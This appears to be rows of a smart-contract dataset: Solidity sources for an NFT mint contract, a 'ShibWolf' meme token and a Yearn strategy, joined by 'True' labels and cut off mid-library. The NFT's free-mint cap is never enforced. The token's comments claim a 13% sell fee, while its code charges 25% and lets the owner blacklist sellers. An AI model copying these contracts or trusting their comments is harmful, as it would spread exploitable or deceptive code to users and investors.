if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**128.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
_beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**128.
unchecked {
_addressData[prevOwnership.addr].balance -= 1;
_addressData[prevOwnership.addr].numberBurned += 1;
// Keep track of who burned the token, and the timestamp of burning.
_ownerships[tokenId].addr = prevOwnership.addr;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
_ownerships[tokenId].burned = true;
// If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(prevOwnership.addr, address(0), tokenId);
_afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
unchecked {
_burnCounter++;
}
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// File: contracts/Contract.sol
pragma solidity 0.8.10;
contract NFT is ERC721A, Ownable {
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 6666;
uint256 public constant MAX_SUPPLY_PUBLIC_SALE = 5666;
string private _baseTokenURI;
string private _unrevealedURI;
bool private isRevealed;
// Public sale
uint256 private publicSalePrice = 0.033 ether;
uint256 private publicSaleMaxMintPerTransaction = 5;
// Free sale
uint256 private freeSaleMaxMintPerTransaction = 3;
uint256 private freeSaleMaxMints = 3;
bool private freeSaleStarted;
uint256 private freeNFTsMinted;
mapping(address => bool) public isWhitelisted;
mapping(address => uint256) public numberOfTokensMinted;
constructor(string memory baseURI, string memory unrevealedURI) ERC721A("WomenDoodles", "WDD") {
_baseTokenURI = baseURI;
_unrevealedURI = unrevealedURI;
}
//////////
// Getters
function _baseURI() internal view virtual override returns (string memory) {
if (!isRevealed) {
return _unrevealedURI;
}
return _baseTokenURI;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
if (!isRevealed) {
return _unrevealedURI;
}
else {
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
}
function calculatePrice(uint256 _count) public view returns(uint256) {
return _count * publicSalePrice;
}
function isFreeSaleActive() view external returns(bool) {
return freeSaleStarted;
}
function numberOfFreeNFTsMinted() view external returns(uint256) {
return freeNFTsMinted;
}
//
function mintNFTs(uint256 quantity) external payable
{
require(!freeSaleStarted, "Public sale not active!");
require(totalSupply() + quantity <= MAX_SUPPLY_PUBLIC_SALE, "Not enough NFTs left!");
require(quantity <= publicSaleMaxMintPerTransaction, "Quantity exceeds max mints per transaction!");
require(quantity > 0, "Cannot mint 0 NFTs.");
require(msg.value >= calculatePrice(quantity),"Not enough ether to purchase NFTs.");
if (totalSupply() + quantity == MAX_SUPPLY_PUBLIC_SALE) {
freeSaleStarted = true;
}
_safeMint(msg.sender, quantity);
}
function mintFreeNFTs(uint256 quantity) external {
require(freeSaleStarted, "Free sale is not started!");
require(totalSupply() + quantity <= MAX_SUPPLY, "Not enough NFTs left!");
require(quantity <= freeSaleMaxMintPerTransaction, "Quantity exceeds max mints per transaction!");
require(numberOfTokensMinted[msg.sender] <= freeSaleMaxMints, "Quantity exceeds max mints per account!");
require(isWhitelisted[msg.sender], "Account is not whitelisted!");
require(quantity > 0, "Cannot mint 0 NFTs.");
freeNFTsMinted += quantity;
_safeMint(msg.sender, quantity);
}
function tokensOf(address owner) public view returns (uint256[] memory) {
uint256 count = balanceOf(owner);
uint256[] memory tokenIds = new uint256[](count);
for (uint256 i; i < count; i++) {
tokenIds[i] = tokenOfOwnerByIndex(owner, i);
}
return tokenIds;
}
//////////////////
// Owner functions
function setPublicSaleMaxMintPerTransaction(uint256 _publicSaleMaxMintPerTransaction) external onlyOwner {
publicSaleMaxMintPerTransaction = _publicSaleMaxMintPerTransaction;
}
function setFreeSaleMaxMintPerTransaction(uint256 _freeSaleMaxMintPerTransaction) external onlyOwner {
freeSaleMaxMintPerTransaction = _freeSaleMaxMintPerTransaction;
}
function setFreeSaleMaxMints(uint256 _freeSaleMaxMints) external onlyOwner {
freeSaleMaxMints = _freeSaleMaxMints;
}
function addToWhitelist(address[] memory _addresses) external onlyOwner {
for (uint256 i = 0;i < _addresses.length;i++) {
isWhitelisted[_addresses[i]] = true;
}
}
function removeFromWhitelist (address[] memory _addresses) external onlyOwner {
for (uint256 i = 0;i < _addresses.length;i++) {
isWhitelisted[_addresses[i]] = false;
}
}
function toggleReveal() public onlyOwner {
if (isRevealed) isRevealed = false;
else isRevealed = true;
}
function setBaseURI(string calldata baseURI) external onlyOwner {
_baseTokenURI = baseURI;
}
function setUnrevealedURI(string memory unrevealedURI) public onlyOwner {
_unrevealedURI = unrevealedURI;
}
function startFreeSale() external onlyOwner {
freeSaleStarted = true;
}
function endFreeSale() external onlyOwner {
freeSaleStarted = false;
}
function setPrice(uint256 price) external onlyOwner {
publicSalePrice = price;
}
function mintNFTsOwner(uint256 quantity) external onlyOwner {
require(totalSupply() + quantity <= MAX_SUPPLY, "Not enough NFTs left!");
_safeMint(msg.sender, quantity);
}
function withdraw() external onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-08-13
*/
// SPDX-License-Identifier: Unlicensed
/*
ShibWolf - Shiba of Wallstreet
Sell Me This Pen? Sell Me this Shiba!
Telegram: https://t.me/Shibwolf
Liquidity will be locked.
Ownership will be renounced.
5% autoearn.
13% fee on sell.
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Shibwolf is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Shibwolf";
string private constant _symbol = 'Shibwolf';
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xE8A8DC7d043bB0bf53deA967e680f210dd2218Ad);
_feeAddrWallet2 = payable(0xF68CF520d5C2758B1cD4d635c51842AA0DCFE8ac);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x000000000000000000000000000000000000dEaD), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 5;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 5;
_feeAddr2 = 20;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-05-26
*/
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// Global Enums and Structs
struct StrategyParams {
uint256 performanceFee;
uint256 activation;
uint256 debtRatio;
uint256 minDebtPerHarvest;
uint256 maxDebtPerHarvest;
uint256 lastReport;
uint256 totalDebt;
uint256 totalGain;
uint256 totalLoss;
}
// Part: ICurveFi
interface ICurveFi {
function add_liquidity(
uint256[2] calldata amounts,
uint256 min_mint_amount,
bool _use_underlying
) external payable returns (uint256);
function add_liquidity(
uint256[3] calldata amounts,
uint256 min_mint_amount,
bool _use_underlying
) external payable returns (uint256);
function add_liquidity(
uint256[4] calldata amounts,
uint256 min_mint_amount,
bool _use_underlying
) external payable returns (uint256);
function add_liquidity(
uint256[2] calldata amounts,
uint256 min_mint_amount
) external payable;
function add_liquidity(
uint256[3] calldata amounts,
uint256 min_mint_amount
) external payable;
function add_liquidity(
uint256[4] calldata amounts,
uint256 min_mint_amount
) external payable;
// crv.finance: Curve.fi Factory USD Metapool v2
function add_liquidity(
address pool,
uint256[4] calldata amounts,
uint256 min_mint_amount
) external;
function exchange(
int128 i,
int128 j,
uint256 dx,
uint256 min_dy
) external;
function exchange_underlying(
int128 i,
int128 j,
uint256 dx,
uint256 min_dy
) external;
function get_dy(
int128 i,
int128 j,
uint256 dx
) external view returns (uint256);
function balances(int128) external view returns (uint256);
function get_virtual_price() external view returns (uint256);
}
// Part: IERC20Metadata
interface IERC20Metadata {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// Part: IVoterProxy
interface IVoterProxy {
function proxy() external returns (address);
function balanceOf(address _gauge) external view returns (uint256);
function deposit(address _gauge, address _token) external;
function withdraw(
address _gauge,
address _token,
uint256 _amount
) external returns (uint256);
function withdrawAll(address _gauge, address _token) external returns (uint256);
function harvest(address _gauge) external;
function lock() external;
function approveStrategy(address) external;
function revokeStrategy(address) external;
function claimRewards(address _gauge, address _token) external;
}
// Part: Math
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// Part: OpenZeppelin/[email protected]/Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: OpenZeppelin/[email protected]/IERC20
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Part: OpenZeppelin/[email protected]/SafeMath
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
